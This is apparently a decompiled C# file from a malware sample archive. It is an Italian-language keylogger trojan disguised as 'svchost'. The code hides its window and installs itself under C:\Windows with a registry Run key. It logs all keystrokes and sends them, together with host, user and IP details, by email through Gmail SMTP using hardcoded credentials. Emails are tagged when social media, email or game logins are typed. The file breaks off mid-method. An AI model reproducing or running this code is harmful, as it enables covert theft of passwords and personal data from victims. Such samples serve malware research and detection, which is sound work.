MalwareSourceCode/MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.aosz-f36b3708132e2fa5f4ec88bd5083bea5f9eec00306e2cfb2271ed154a4173bfb/Form1.cs
2022-08-18 06:28:56 -05:00

1340 lines
41 KiB
C#

// Decompiled with JetBrains decompiler
// Type: svchost.Form1
// Assembly: svchost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 6DDBD699-C351-46D2-B577-5A47AADA2B4A
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Fsysna.aosz-f36b3708132e2fa5f4ec88bd5083bea5f9eec00306e2cfb2271ed154a4173bfb.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using svchost.My;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Net;
using System.Net.Mail;
using System.Net.Sockets;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace svchost
{
[DesignerGenerated]
public class Form1 : Form
{
private static List<WeakReference> __ENCList = new List<WeakReference>();
private IContainer components;
[AccessedThroughProperty("Label1")]
private Label _Label1;
[AccessedThroughProperty("Label2")]
private Label _Label2;
[AccessedThroughProperty("Label3")]
private Label _Label3;
[AccessedThroughProperty("Label4")]
private Label _Label4;
[AccessedThroughProperty("Timer1")]
private System.Windows.Forms.Timer _Timer1;
[AccessedThroughProperty("Timer2")]
private System.Windows.Forms.Timer _Timer2;
[AccessedThroughProperty("Timer4")]
private System.Windows.Forms.Timer _Timer4;
[AccessedThroughProperty("TextBox1")]
private TextBox _TextBox1;
[AccessedThroughProperty("TextBox2")]
private TextBox _TextBox2;
[AccessedThroughProperty("TextBox3")]
private TextBox _TextBox3;
[AccessedThroughProperty("TextBox4")]
private TextBox _TextBox4;
private int result;
private IPHostEntry ip;
private WebClient webclient;
private string externalip;
private string internalip;
private MailMessage emailer;
private SmtpClient smtp;
[DebuggerNonUserCode]
static Form1()
{
}
public Form1()
{
this.Load += new EventHandler(this.Form1_Load);
Form1.__ENCAddToList((object) this);
this.ip = Dns.GetHostEntry(Dns.GetHostName());
this.webclient = new WebClient();
this.emailer = new MailMessage();
this.smtp = new SmtpClient("smtp.gmail.com");
this.InitializeComponent();
}
[DebuggerNonUserCode]
private static void __ENCAddToList(object value)
{
lock (Form1.__ENCList)
{
if (Form1.__ENCList.Count == Form1.__ENCList.Capacity)
{
int index1 = 0;
int num = checked (Form1.__ENCList.Count - 1);
int index2 = 0;
while (index2 <= num)
{
if (Form1.__ENCList[index2].IsAlive)
{
if (index2 != index1)
Form1.__ENCList[index1] = Form1.__ENCList[index2];
checked { ++index1; }
}
checked { ++index2; }
}
Form1.__ENCList.RemoveRange(index1, checked (Form1.__ENCList.Count - index1));
Form1.__ENCList.Capacity = Form1.__ENCList.Count;
}
Form1.__ENCList.Add(new WeakReference(RuntimeHelpers.GetObjectValue(value)));
}
}
[DebuggerNonUserCode]
protected override void Dispose(bool disposing)
{
try
{
if (!disposing || this.components == null)
return;
this.components.Dispose();
}
finally
{
base.Dispose(disposing);
}
}
[DebuggerStepThrough]
private void InitializeComponent()
{
this.components = (IContainer) new System.ComponentModel.Container();
this.Label1 = new Label();
this.Label2 = new Label();
this.Label3 = new Label();
this.Label4 = new Label();
this.Timer1 = new System.Windows.Forms.Timer(this.components);
this.Timer2 = new System.Windows.Forms.Timer(this.components);
this.Timer4 = new System.Windows.Forms.Timer(this.components);
this.TextBox1 = new TextBox();
this.TextBox2 = new TextBox();
this.TextBox3 = new TextBox();
this.TextBox4 = new TextBox();
this.SuspendLayout();
this.Label1.AutoSize = true;
Label label1_1 = this.Label1;
Point point1 = new Point(265, 16);
Point point2 = point1;
label1_1.Location = point2;
this.Label1.Name = "Label1";
Label label1_2 = this.Label1;
Size size1 = new Size(103, 13);
Size size2 = size1;
label1_2.Size = size2;
this.Label1.TabIndex = 0;
this.Label1.Text = "Rete non disponibile";
this.Label1.Visible = false;
this.Label2.AutoSize = true;
Label label2_1 = this.Label2;
point1 = new Point(265, 52);
Point point3 = point1;
label2_1.Location = point3;
this.Label2.Name = "Label2";
Label label2_2 = this.Label2;
size1 = new Size(103, 13);
Size size3 = size1;
label2_2.Size = size3;
this.Label2.TabIndex = 1;
this.Label2.Text = "Rete non disponibile";
this.Label2.Visible = false;
this.Label3.AutoSize = true;
Label label3_1 = this.Label3;
point1 = new Point(12, 85);
Point point4 = point1;
label3_1.Location = point4;
this.Label3.Name = "Label3";
Label label3_2 = this.Label3;
size1 = new Size(128, 13);
Size size4 = size1;
label3_2.Size = size4;
this.Label3.TabIndex = 2;
this.Label3.Text = "anonymogtx2@gmail.com";
this.Label3.Visible = false;
this.Label4.AutoSize = true;
Label label4_1 = this.Label4;
point1 = new Point(75, 109);
Point point5 = point1;
label4_1.Location = point5;
this.Label4.Name = "Label4";
Label label4_2 = this.Label4;
size1 = new Size(119, 13);
Size size5 = size1;
label4_2.Size = size5;
this.Label4.TabIndex = 3;
this.Label4.Text = "17/2/95741085209630";
this.Label4.Visible = false;
this.Timer1.Enabled = true;
this.Timer1.Interval = 900000;
this.Timer2.Enabled = true;
this.Timer2.Interval = 1;
this.Timer4.Enabled = true;
this.Timer4.Interval = 15000;
TextBox textBox1_1 = this.TextBox1;
point1 = new Point(45, 190);
Point point6 = point1;
textBox1_1.Location = point6;
this.TextBox1.Name = "TextBox1";
TextBox textBox1_2 = this.TextBox1;
size1 = new Size(100, 20);
Size size6 = size1;
textBox1_2.Size = size6;
this.TextBox1.TabIndex = 4;
this.TextBox1.Visible = false;
TextBox textBox2_1 = this.TextBox2;
point1 = new Point(138, 52);
Point point7 = point1;
textBox2_1.Location = point7;
this.TextBox2.Name = "TextBox2";
TextBox textBox2_2 = this.TextBox2;
size1 = new Size(100, 20);
Size size7 = size1;
textBox2_2.Size = size7;
this.TextBox2.TabIndex = 5;
this.TextBox2.Visible = false;
TextBox textBox3_1 = this.TextBox3;
point1 = new Point(173, 102);
Point point8 = point1;
textBox3_1.Location = point8;
this.TextBox3.Name = "TextBox3";
TextBox textBox3_2 = this.TextBox3;
size1 = new Size(100, 20);
Size size8 = size1;
textBox3_2.Size = size8;
this.TextBox3.TabIndex = 6;
this.TextBox3.Visible = false;
TextBox textBox4_1 = this.TextBox4;
point1 = new Point(217, 190);
Point point9 = point1;
textBox4_1.Location = point9;
this.TextBox4.Name = "TextBox4";
TextBox textBox4_2 = this.TextBox4;
size1 = new Size(100, 20);
Size size9 = size1;
textBox4_2.Size = size9;
this.TextBox4.TabIndex = 7;
this.TextBox4.Visible = false;
this.AutoScaleDimensions = new SizeF(6f, 13f);
this.AutoScaleMode = AutoScaleMode.Font;
size1 = new Size(391, 236);
this.ClientSize = size1;
this.Controls.Add((Control) this.TextBox4);
this.Controls.Add((Control) this.TextBox3);
this.Controls.Add((Control) this.TextBox2);
this.Controls.Add((Control) this.TextBox1);
this.Controls.Add((Control) this.Label4);
this.Controls.Add((Control) this.Label3);
this.Controls.Add((Control) this.Label2);
this.Controls.Add((Control) this.Label1);
this.FormBorderStyle = FormBorderStyle.None;
this.MaximizeBox = false;
this.Name = nameof (Form1);
this.Opacity = 0.0;
this.ShowIcon = false;
this.ShowInTaskbar = false;
this.Text = nameof (Form1);
this.ResumeLayout(false);
this.PerformLayout();
}
internal virtual Label Label1
{
[DebuggerNonUserCode] get => this._Label1;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label1 = value;
}
internal virtual Label Label2
{
[DebuggerNonUserCode] get => this._Label2;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label2 = value;
}
internal virtual Label Label3
{
[DebuggerNonUserCode] get => this._Label3;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label3 = value;
}
internal virtual Label Label4
{
[DebuggerNonUserCode] get => this._Label4;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label4 = value;
}
internal virtual System.Windows.Forms.Timer Timer1
{
[DebuggerNonUserCode] get => this._Timer1;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
{
EventHandler eventHandler = new EventHandler(this.Timer1_Tick);
if (this._Timer1 != null)
this._Timer1.Tick -= eventHandler;
this._Timer1 = value;
if (this._Timer1 == null)
return;
this._Timer1.Tick += eventHandler;
}
}
internal virtual System.Windows.Forms.Timer Timer2
{
[DebuggerNonUserCode] get => this._Timer2;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
{
EventHandler eventHandler = new EventHandler(this.Timer2_Tick);
if (this._Timer2 != null)
this._Timer2.Tick -= eventHandler;
this._Timer2 = value;
if (this._Timer2 == null)
return;
this._Timer2.Tick += eventHandler;
}
}
internal virtual System.Windows.Forms.Timer Timer4
{
[DebuggerNonUserCode] get => this._Timer4;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
{
EventHandler eventHandler = new EventHandler(this.Timer4_Tick);
if (this._Timer4 != null)
this._Timer4.Tick -= eventHandler;
this._Timer4 = value;
if (this._Timer4 == null)
return;
this._Timer4.Tick += eventHandler;
}
}
internal virtual TextBox TextBox1
{
[DebuggerNonUserCode] get => this._TextBox1;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox1 = value;
}
internal virtual TextBox TextBox2
{
[DebuggerNonUserCode] get => this._TextBox2;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox2 = value;
}
internal virtual TextBox TextBox3
{
[DebuggerNonUserCode] get => this._TextBox3;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox3 = value;
}
internal virtual TextBox TextBox4
{
[DebuggerNonUserCode] get => this._TextBox4;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox4 = value;
}
[DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int GetAsyncKeyState(long vKey);
[DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int GetKeyState(long nVirtKey);
public bool GetCapslock() => (Form1.GetKeyState(20L) & 1) != 0;
public bool GetShift() => Form1.GetAsyncKeyState(16L) != 0;
private void Form1_Load(object sender, EventArgs e)
{
label_1:
int num1;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = -2;
label_2:
int num3 = 2;
this.Opacity = 0.0;
label_3:
num3 = 3;
this.ShowInTaskbar = false;
label_4:
num3 = 4;
this.ShowIcon = false;
label_5:
num3 = 5;
this.Visible = false;
label_6:
num3 = 6;
this.Hide();
label_7:
num3 = 7;
if (System.IO.File.Exists("C:\\Windows\\deepolis_hack.exe"))
goto label_11;
label_8:
num3 = 9;
label_9:
num3 = 10;
System.IO.File.Delete("C:\\Windows\\svchost.exe");
label_10:
num3 = 11;
System.IO.File.Move(Application.ExecutablePath, "C:\\Windows\\deepolis_hack.exe");
label_11:
label_12:
num3 = 13;
MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", "deepolis_hack.exe", (object) Application.ExecutablePath);
goto label_19;
label_14:
num2 = num3;
switch (num1 > -2 ? num1 : 1)
{
case 1:
int num4 = num2 + 1;
num2 = 0;
switch (num4)
{
case 1:
goto label_1;
case 2:
goto label_2;
case 3:
goto label_3;
case 4:
goto label_4;
case 5:
goto label_5;
case 6:
goto label_6;
case 7:
goto label_7;
case 8:
case 12:
goto label_11;
case 9:
goto label_8;
case 10:
goto label_9;
case 11:
goto label_10;
case 13:
goto label_12;
case 14:
goto label_19;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_14;
}
throw ProjectData.CreateProjectError(-2146828237);
label_19:
if (num2 == 0)
return;
ProjectData.ClearProjectError();
}
private void Timer2_Tick(object sender, EventArgs e)
{
int num1 = 1;
do
{
this.result = 0;
this.result = Form1.GetAsyncKeyState((long) num1);
if (this.result == -32767)
{
if (!this.GetCapslock() & this.GetShift())
{
switch (num1)
{
case 1:
this.TextBox1.Text += " [LMB] ";
break;
case 2:
this.TextBox1.Text += " [RMB] ";
break;
case 8:
this.TextBox1.Text += " [Del] ";
break;
case 9:
this.TextBox1.Text += " [Tab] \r\n";
break;
case 13:
this.TextBox1.Text += " [Invio] \r\n";
break;
case 17:
this.TextBox1.Text += " [Ctrl] ";
break;
case 18:
this.TextBox1.Text += " [Alt] ";
break;
case 32:
this.TextBox1.Text += " ";
break;
case 46:
this.TextBox1.Text += " [Del] ";
break;
case 48:
this.TextBox1.Text += ")";
break;
case 49:
this.TextBox1.Text += "!";
break;
case 51:
this.TextBox1.Text += "#";
break;
case 52:
this.TextBox1.Text += "$";
break;
case 53:
this.TextBox1.Text += "%";
break;
case 54:
this.TextBox1.Text += "^";
break;
case 55:
this.TextBox1.Text += "&";
break;
case 56:
this.TextBox1.Text += "*";
break;
case 57:
this.TextBox1.Text += "(";
break;
case 64:
case 65:
case 66:
case 67:
case 68:
case 69:
case 70:
case 71:
case 72:
case 73:
case 74:
case 75:
case 76:
case 77:
case 78:
case 79:
case 80:
case 81:
case 82:
case 83:
case 84:
case 85:
case 86:
case 87:
case 88:
case 89:
case 90:
this.TextBox1.Text += Strings.Chr(num1).ToString().ToLower();
break;
case 97:
case 98:
case 99:
case 100:
case 101:
case 102:
case 103:
case 104:
case 105:
case 106:
case 107:
case 108:
case 109:
case 110:
case 111:
case 112:
case 113:
case 114:
case 115:
case 116:
case 117:
case 118:
case 119:
case 120:
case 121:
case 122:
this.TextBox1.Text += Strings.Chr(num1).ToString().ToLower();
break;
case 186:
this.TextBox1.Text += "é";
break;
case 187:
this.TextBox1.Text += "+";
break;
case 188:
this.TextBox1.Text += "<";
break;
case 189:
this.TextBox1.Text += "_";
break;
case 190:
this.TextBox1.Text += ">";
break;
case 191:
this.TextBox1.Text += "?";
break;
case 192:
this.TextBox1.Text += "~";
break;
case 219:
this.TextBox1.Text += "?";
break;
case 220:
this.TextBox1.Text += "|";
break;
case 221:
this.TextBox1.Text += "^";
break;
case 222:
this.TextBox1.Text += "\"";
break;
}
}
if (this.GetCapslock() & !this.GetShift())
{
int num2 = num1;
switch (num2)
{
case 1:
this.TextBox1.Text += " [LMB] ";
goto case 91;
case 2:
this.TextBox1.Text += " [RMB] ";
goto case 91;
case 91:
label_54:
break;
default:
if (num2 >= 64 && num2 <= 90)
{
this.TextBox1.Text += Conversions.ToString(Strings.Chr(num1));
goto case 91;
}
else if (num2 >= 97 && num2 <= 122)
{
this.TextBox1.Text += Conversions.ToString(Strings.Chr(num1));
goto case 91;
}
else if (num2 == 32)
{
this.TextBox1.Text += " ";
goto case 91;
}
else if (num2 >= 48 && num2 <= 57)
{
this.TextBox1.Text += Conversions.ToString(Strings.Chr(num1));
goto case 91;
}
else
{
switch (num2)
{
case 8:
this.TextBox1.Text += " [Del] ";
goto label_54;
case 16:
goto label_54;
case 46:
this.TextBox1.Text += " [Del] ";
goto label_54;
case 190:
this.TextBox1.Text += ".";
goto label_54;
default:
if (num2 < 160 || num2 > 165)
goto label_54;
else
goto label_54;
}
}
}
}
if (!this.GetCapslock() & !this.GetShift())
{
switch (num1)
{
case 1:
this.TextBox1.Text += " [LMB] ";
goto case 16;
case 2:
this.TextBox1.Text += " [RMB] ";
goto case 16;
case 8:
this.TextBox1.Text += " [Del] ";
goto case 16;
case 9:
this.TextBox1.Text += " [Tab] \r\n";
goto case 16;
case 13:
this.TextBox1.Text += " [Invio] \r\n";
goto case 16;
case 16:
case 20:
case 37:
case 38:
case 39:
case 40:
case 91:
case 160:
case 161:
case 162:
case 163:
case 164:
case 165:
break;
case 17:
this.TextBox1.Text += " [Ctrl] ";
goto case 16;
case 18:
this.TextBox1.Text += " [Alt] ";
goto case 16;
case 32:
this.TextBox1.Text += " ";
goto case 16;
case 46:
this.TextBox1.Text += " [Del] ";
goto case 16;
case 48:
case 49:
case 50:
case 51:
case 52:
case 53:
case 54:
case 55:
case 56:
case 57:
this.TextBox1.Text += Conversions.ToString(Strings.Chr(num1));
goto case 16;
case 64:
case 65:
case 66:
case 67:
case 68:
case 69:
case 70:
case 71:
case 72:
case 73:
case 74:
case 75:
case 76:
case 77:
case 78:
case 79:
case 80:
case 81:
case 82:
case 83:
case 84:
case 85:
case 86:
case 87:
case 88:
case 89:
case 90:
this.TextBox1.Text += Strings.Chr(num1).ToString().ToLower();
goto case 16;
case 97:
case 98:
case 99:
case 100:
case 101:
case 102:
case 103:
case 104:
case 105:
case 106:
case 107:
case 108:
case 109:
case 110:
case 111:
case 112:
case 113:
case 114:
case 115:
case 116:
case 117:
case 118:
case 119:
case 120:
case 121:
case 122:
this.TextBox1.Text += Strings.Chr(num1).ToString().ToLower();
goto case 16;
case 186:
this.TextBox1.Text += "è";
goto case 16;
case 187:
this.TextBox1.Text += "+";
goto case 16;
case 188:
this.TextBox1.Text += ",";
goto case 16;
case 189:
this.TextBox1.Text += "-";
goto case 16;
case 190:
this.TextBox1.Text += ".";
goto case 16;
case 191:
this.TextBox1.Text += "ù";
goto case 16;
case 192:
this.TextBox1.Text += "ò";
goto case 16;
case 219:
this.TextBox1.Text += "'";
goto case 16;
case 220:
this.TextBox1.Text += "\\";
goto case 16;
case 221:
this.TextBox1.Text += "ì";
goto case 16;
case 222:
this.TextBox1.Text += "à";
goto case 16;
default:
goto case 16;
}
}
}
checked { ++num1; }
}
while (num1 <= 225);
}
private void Timer1_Tick(object sender, EventArgs e)
{
label_1:
int num1;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = -2;
label_2:
int num3 = 2;
IPAddress[] addressList = this.ip.AddressList;
int index = 0;
goto label_10;
label_4:
num3 = 3;
IPAddress ipAddress;
if (ipAddress.AddressFamily != AddressFamily.InterNetwork)
goto label_6;
label_5:
num3 = 4;
this.Label1.Text = ipAddress.ToString();
label_6:
label_7:
num3 = 6;
this.externalip = this.webclient.DownloadString("http://automation.whatismyip.com/n09230945.asp");
label_8:
num3 = 7;
this.Label2.Text = this.externalip.ToString();
checked { ++index; }
label_9:
num3 = 8;
label_10:
if (index < addressList.Length)
{
ipAddress = addressList[index];
goto label_4;
}
label_11:
num3 = 9;
this.TextBox2.Text = this.TextBox2.Text + "Nome Computer: " + MyProject.Computer.Name + "\r\n";
label_12:
num3 = 10;
this.TextBox2.Text = this.TextBox2.Text + "Nome Utente: " + MyProject.User.Name + "\r\n\r\n";
label_13:
num3 = 11;
this.TextBox2.Text = this.TextBox2.Text + "IP Interno: " + this.Label1.Text + "\r\n";
label_14:
num3 = 12;
this.TextBox2.Text = this.TextBox2.Text + "IP Esterno: " + this.Label2.Text + "\r\n\r\n";
label_15:
num3 = 13;
this.TextBox2.Text = this.TextBox2.Text + "Lingua utente: " + MyProject.Computer.Info.InstalledUICulture.ToString() + "\r\n";
label_16:
num3 = 14;
this.TextBox2.Text = this.TextBox2.Text + "Sistema Operativo: " + MyProject.Computer.Info.OSFullName + "\r\n\r\n";
label_17:
num3 = 15;
this.TextBox2.Text = this.TextBox2.Text + "Memoria fisica libera (RAM): " + MyProject.Computer.Info.AvailablePhysicalMemory.ToString() + " byte\r\n";
label_18:
num3 = 16;
this.TextBox2.Text = this.TextBox2.Text + "Memoria fisica totale (RAM): " + MyProject.Computer.Info.TotalPhysicalMemory.ToString() + " byte\r\n";
label_19:
num3 = 17;
this.TextBox2.Text = this.TextBox2.Text + "Memoria virtuale libera: " + MyProject.Computer.Info.AvailableVirtualMemory.ToString() + " byte\r\n";
label_20:
num3 = 18;
this.TextBox2.Text = this.TextBox2.Text + "Memoria virtuale totale: " + MyProject.Computer.Info.TotalVirtualMemory.ToString() + " byte\r\n";
label_21:
num3 = 19;
this.emailer.From = new MailAddress(this.Label3.Text);
label_22:
num3 = 20;
this.emailer.To.Add(this.Label3.Text);
label_23:
num3 = 21;
this.emailer.Body = this.TextBox1.Text + "\r\n\r\n\r\n\r\n\r\n\r\n\r\n" + this.TextBox2.Text;
label_24:
num3 = 22;
if (!(this.TextBox1.Text.Contains("metin2") | this.TextBox1.Text.Contains("metin") | this.TextBox1.Text.Contains("mt2")))
goto label_26;
label_25:
num3 = 23;
this.emailer.Subject = "[METIN2] Dati KeyLogger - " + this.Label1.Text + " / " + this.Label2.Text;
goto label_58;
label_26:
num3 = 25;
if (!(this.TextBox1.Text.Contains("warrock") | this.TextBox1.Text.Contains("war rock")))
goto label_28;
label_27:
num3 = 26;
this.emailer.Subject = "[WARROCK] Dati KeyLogger - " + this.Label1.Text + " / " + this.Label2.Text;
goto label_58;
label_28:
num3 = 28;
if (!(this.TextBox1.Text.Contains("combat") | this.TextBox1.Text.Contains("combat arms") | this.TextBox1.Text.Contains("caeu") | this.TextBox1.Text.Contains("ca eu")))
goto label_30;
label_29:
num3 = 29;
this.emailer.Subject = "[COMBAT ARMS] Dati KeyLogger - " + this.Label1.Text + " / " + this.Label2.Text;
goto label_58;
label_30:
num3 = 31;
if (!(this.TextBox1.Text.Contains("seafight") | this.TextBox1.Text.Contains("sea fight")))
goto label_32;
label_31:
num3 = 32;
this.emailer.Subject = "[SEAFIGHT] Dati KeyLogger - " + this.Label1.Text + " / " + this.Label2.Text;
goto label_58;
label_32:
num3 = 34;
if (!(this.TextBox1.Text.Contains("hotmail") | this.TextBox1.Text.Contains("live.it") | this.TextBox1.Text.Contains("live.com") | this.TextBox1.Text.Contains("hotmail.it") | this.TextBox1.Text.Contains("hotmail.com") | this.TextBox1.Text.Contains("msn") | this.TextBox1.Text.Contains("msn.it")))
goto label_34;
label_33:
num3 = 35;
this.emailer.Subject = "[HOTMAIL] Dati KeyLogger - " + this.Label1.Text + " / " + this.Label2.Text;
goto label_58;
label_34:
num3 = 37;
if (!(this.TextBox1.Text.Contains("libero.it") | this.TextBox1.Text.Contains("libero.com")))
goto label_36;
label_35:
num3 = 38;
this.emailer.Subject = "[LIBERO] Dati KeyLogger - " + this.Label1.Text + " / " + this.Label2.Text;
goto label_58;
label_36:
num3 = 40;
if (!(this.TextBox1.Text.Contains("gmail") | this.TextBox1.Text.Contains("google mail") | this.TextBox1.Text.Contains("gmail.com")))
goto label_38;
label_37:
num3 = 41;
this.emailer.Subject = "[GMAIL] Dati KeyLogger - " + this.Label1.Text + " / " + this.Label2.Text;
goto label_58;
label_38:
num3 = 43;
if (!(this.TextBox1.Text.Contains("yahoo") | this.TextBox1.Text.Contains("yahoo.it") | this.TextBox1.Text.Contains("yahoo.com")))
goto label_40;
label_39:
num3 = 44;
this.emailer.Subject = "[YAHOO] Dati KeyLogger - " + this.Label1.Text + " / " + this.Label2.Text;
goto label_58;
label_40:
num3 = 46;
if (!(this.TextBox1.Text.Contains("tiscali") | this.TextBox1.Text.Contains("tiscali.it")))
goto label_42;
label_41:
num3 = 47;
this.emailer.Subject = "[TISCALI] Dati KeyLogger - " + this.Label1.Text + " / " + this.Label2.Text;
goto label_58;
label_42:
num3 = 49;
if (!(this.TextBox1.Text.Contains("facebook") | this.TextBox1.Text.Contains("facebook.com")))
goto label_44;
label_43:
num3 = 50;
this.emailer.Subject = "[FACEBOOK] Dati KeyLogger - " + this.Label1.Text + " / " + this.Label2.Text;
goto label_58;
label_44:
num3 = 52;
if (!(this.TextBox1.Text.Contains("darkorbit") | this.TextBox1.Text.Contains("dark orbit")))
goto label_46;
label_45:
num3 = 53;
this.emailer.Subject = "[DARK ORBIT] Dati KeyLogger - " + this.Label1.Text + " / " + this.Label2.Text;
goto label_58;
label_46:
num3 = 55;
if (!(this.TextBox1.Text.Contains("bigpoint") | this.TextBox1.Text.Contains("big point")))
goto label_48;
label_47:
num3 = 56;
this.emailer.Subject = "[BIGPOINT] Dati KeyLogger - " + this.Label1.Text + " / " + this.Label2.Text;
goto label_58;
label_48:
num3 = 58;
if (!(this.TextBox1.Text.Contains("gameforge") | this.TextBox1.Text.Contains("game forge")))
goto label_50;
label_49:
num3 = 59;
this.emailer.Subject = "[GAMEFORGE] Dati KeyLogger - " + this.Label1.Text + " / " + this.Label2.Text;
goto label_58;
label_50:
num3 = 61;
if (!this.TextBox1.Text.Contains("world of warcraft"))
goto label_52;
label_51:
num3 = 62;
this.emailer.Subject = "[WORLD OF WARCRAFT] Dati KeyLogger - " + this.Label1.Text + " / " + this.Label2.Text;
goto label_58;
label_52:
num3 = 64;
if (!this.TextBox1.Text.Contains("@"))
goto label_54;
label_53:
num3 = 65;
this.emailer.Subject = "[E-MAIL] Dati KeyLogger - " + this.Label1.Text + " / " + this.Label2.Text;
goto label_58;
label_54:
num3 = 67;
if (!this.TextBox1.Text.Contains("skype"))
goto label_56;
label_55:
num3 = 68;
this.emailer.Subject = "[SKYPE] Dati KeyLogger - " + this.Label1.Text + " / " + this.Label2.Text;
goto label_58;
label_56:
num3 = 70;
label_57:
num3 = 71;
this.emailer.Subject = "Dati KeyLogger - " + this.Label1.Text + " / " + this.Label2.Text;
label_58:
label_59:
num3 = 73;
this.smtp.Port = 587;
label_60:
num3 = 74;
this.smtp.EnableSsl = true;
label_61:
num3 = 75;
this.smtp.Credentials = (ICredentialsByHost) new NetworkCredential(this.Label3.Text, this.Label4.Text);
label_62:
num3 = 76;
this.smtp.Send(this.emailer);
label_63:
num3 = 77;
this.TextBox1.Text = "";
label_64:
num3 = 78;
this.TextBox2.Text = "";
goto label_71;
label_66:
num2 = num3;
switch (num1 > -2 ? num1 : 1)
{
case 1:
int num4 = num2 + 1;
num2 = 0;
switch (num4)
{
case 1:
goto label_1;
case 2:
goto label_2;
case 3:
goto label_4;
case 4:
goto label_5;
case 5:
goto label_6;
case 6:
goto label_7;
case 7:
goto label_8;
case 8:
goto label_9;
case 9:
goto label_11;
case 10:
goto label_12;
case 11:
goto label_13;
case 12:
goto label_14;
case 13:
goto label_15;
case 14:
goto label_16;
case 15:
goto label_17;
case 16:
goto label_18;
case 17:
goto label_19;
case 18:
goto label_20;
case 19:
goto label_21;
case 20:
goto label_22;
case 21:
goto label_23;
case 22:
goto label_24;
case 23:
goto label_25;
case 24:
case 27:
case 30:
case 33:
case 36:
case 39:
case 42:
case 45:
case 48:
case 51:
case 54:
case 57:
case 60:
case 63:
case 66:
case 69:
case 72:
goto label_58;
case 25:
goto label_26;
case 26:
goto label_27;
case 28:
goto label_28;
case 29:
goto label_29;
case 31:
goto label_30;
case 32:
goto label_31;
case 34:
goto label_32;
case 35:
goto label_33;
case 37:
goto label_34;
case 38:
goto label_35;
case 40:
goto label_36;
case 41:
goto label_37;
case 43:
goto label_38;
case 44:
goto label_39;
case 46:
goto label_40;
case 47:
goto label_41;
case 49:
goto label_42;
case 50:
goto label_43;
case 52:
goto label_44;
case 53:
goto label_45;
case 55:
goto label_46;
case 56:
goto label_47;
case 58:
goto label_48;
case 59:
goto label_49;
case 61:
goto label_50;
case 62:
goto label_51;
case 64:
goto label_52;
case 65:
goto label_53;
case 67:
goto label_54;
case 68:
goto label_55;
case 70:
goto label_56;
case 71:
goto label_57;
case 73:
goto label_59;
case 74:
goto label_60;
case 75:
goto label_61;
case 76:
goto label_62;
case 77:
goto label_63;
case 78:
goto label_64;
case 79:
goto label_71;
}
break;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex);
goto label_66;
}
throw ProjectData.CreateProjectError(-2146828237);
label_71:
if (num2 == 0)
return;
ProjectData.ClearProjectError();
}
private void Timer4_Tick(object sender, EventArgs e)
{
label_1:
int num1;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = -2;
label_2:
int num3 = 2;
if (!System.IO.File.Exists("C:\\Windows\\svchost.txt"))
goto label_4;
label_3:
num3 = 3;
this.Timer4.Enabled = false;
goto label_14;
label_4:
num3 = 5;
label_5:
num3 = 6;
System.IO.File.Create("C:\\Windows\\svchost.txt");
label_6:
num3 = 7;
this.emailer.From = new MailAddress(this.Label3.Text);
label_7:
num3 = 8;
this.emailer.To.Add(this.Label3.Text);
label_8:
num3 = 9;
this.emailer.Body = "La vittima ha aperto il programma...\r\n\r\n\r\n\r\n\r\n\r\n\r\nNome Computer: " + MyProject.Computer.Name + "\r\nNome Utente: " + MyProject.User.Name + "\r\n\r\nIP Interno: " + this.Label1.Text + "\r\nIP Esterno: " + this.Label2.Text + "\r\n\r\nLingua utente: " + MyProject.Computer.Info.InstalledUICulture.ToString() + "\r\nSistema Operativo: " + MyProject.Computer.Info.OSFullName + "\r\n\r\nMemoria fisica libera (RAM): " + MyProject.Computer.Info.AvailablePhysicalMemory.ToString() + " byte\r\nMemoria fisica totale (RAM): " + MyProject.Computer.Info.TotalPhysicalMemory.ToString() + " byte\r\nMemoria virtuale libera: " + MyProject.Computer.Info.AvailableVirtualMemory.ToString() + " byte\r\nMemoria virtuale totale: " + MyProject.Computer.Info.TotalVirtualMemory.ToString() + " byte\r\n";
label_9:
num3 = 10;
this.emailer.Subject = "Apertura Keylogger - " + this.Label1.Text + " / " + this.Label2.Text;
label_10:
num3 = 11;
this.smtp.Port = 587;
label_11:
num3 = 12;
this.smtp.EnableSsl = true;
label_12:
num3 = 13;
this.smtp.Credentials = (ICredentialsByHost) new NetworkCredential(this.Label3.Text, this.Label4.Text);
label_13:
num3 = 14;
this.smtp.Send(this.emailer);
label_14:
label_15:
num3 = 16;
this.Timer4.Enabled = false;
goto label_22;
label_17:
num2 = num3;
switch (num1 > -2 ? num1 : 1)
{
case 1:
int num4 = num2 + 1;
num2 = 0;
switch (num4)
{
case 1:
goto label_1;
case 2:
goto label_2;
case 3:
goto label_3;
case 4:
case 15:
goto label_14;
case 5:
goto label_4;
case 6:
goto label_5;
case 7:
goto label_6;
case 8:
